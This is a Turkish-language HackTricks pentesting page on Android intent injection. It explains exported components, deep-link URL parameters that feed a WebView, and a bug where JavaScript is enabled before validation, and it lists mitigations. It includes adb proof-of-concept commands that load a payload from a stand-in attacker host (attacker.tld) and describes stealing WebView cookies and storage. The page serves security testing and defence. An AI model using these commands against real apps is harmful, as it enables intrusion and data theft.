Intent Injection

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Intent injection, saldırgan tarafından kontrol edilen Intents veya daha sonra Intents'e dönüştürülen verileri kabul eden bileşenleri istismar eder. Android uygulama pentestleri sırasında iki çok yaygın desen şunlardır:

  • Özel, dışa aktarılmamış bileşenlere daha sonra iletilen dışa aktarılmış Activities/Services/BroadcastReceivers'a hazırlanmış ekler geçirme.
  • Saldırgan tarafından kontrol edilen URL'leri içsel WebView'lara veya diğer hassas sink'lere yönlendiren dışa aktarılmış VIEW/BROWSABLE derin bağlantıları tetikleme.

Derin bağlantılar → WebView sink (URL parametre enjeksiyonu)

Eğer bir uygulama aşağıdaki gibi özel bir şemaya sahip derin bağlantı açıyorsa:

text
myscheme://com.example.app/web?url=<attacker_url>

ve alıcı Activity, url sorgu parametresini bir WebView'a ilettiğinde, uygulamayı kendi WebView bağlamında keyfi uzak içeriği render etmeye zorlayabilirsiniz.

adb üzerinden PoC:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS uygulamanın WebView profilinde çalıştırılır.
  • JavaScript etkinse (varsayılan olarak veya yanlış sıralanmış kontroller nedeniyle), herhangi bir açık @JavascriptInterface nesnesini listeleyebilir/kullanabilir, WebView çerezlerini/yerel depolamayı çalabilir ve pivot yapabilirsiniz.

Ayrıca bakınız:

Webview Attacks

JavaScript'i etkinleştiren kontrol sırası hatası

Tekrarlayan bir hata, JavaScript'i (veya diğer izin verici WebView ayarlarını) son URL beyaz liste/doğrulama tamamlanmadan önce etkinleştirmektir. Erken yardımcılar derin bağlantınızı kabul ederse ve WebView önce yapılandırılırsa, son yüklemeniz JavaScript zaten etkinken gerçekleşir, daha sonraki kontroller hatalı veya çok geç olsa bile.

Decompile edilmiş kodda aramanız gerekenler:

  • URL'yi farklı şekilde ayrıştıran/bölüp/yeniden inşa eden birden fazla yardımcı (tutarsız normalizasyon).
  • Son host/path beyaz liste kontrolünden önce getSettings().setJavaScriptEnabled(true) çağrıları.
  • Aşağıdaki gibi bir işlem hattı: ayrıştır → kısmi doğrula → WebView'ı yapılandır → son doğrula → loadUrl.

Mitigations

  • Bir kez kanonikleştir ve sıkı bir şekilde doğrula; kapalı başar.
  • Tüm kontroller geçtikten sonra ve yalnızca güvenilir içerik yüklemeden hemen önce JavaScript'i etkinleştir.
  • Güvenilmeyen kökenlere köprüler açmaktan kaçının.

Diğer klasik Intent enjeksiyon primitifleri

  • saldırgan tarafından sağlanan Intent ekleri kullanarak startActivity/sendBroadcast, daha sonra yeniden ayrıştırılır (Intent.parseUri(...)) ve yürütülür.
  • İzin kontrolü olmadan Intents'i dışa aktarılmamış hassas bileşenlere ileten dışa aktarılmış proxy bileşenleri.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin